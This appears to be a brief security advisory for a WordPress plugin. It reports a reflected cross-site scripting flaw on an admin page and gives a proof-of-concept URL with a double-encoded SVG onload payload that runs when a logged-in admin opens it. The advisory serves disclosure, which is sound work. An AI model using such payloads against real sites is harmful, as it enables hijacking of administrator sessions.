The plugin does not properly escape user input before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open https://example.com/wp-admin/admin.php?page=nf-processing&title;=%253Csvg%252Fonload%253Dalert%2528%252FXSS%252F%2529%253E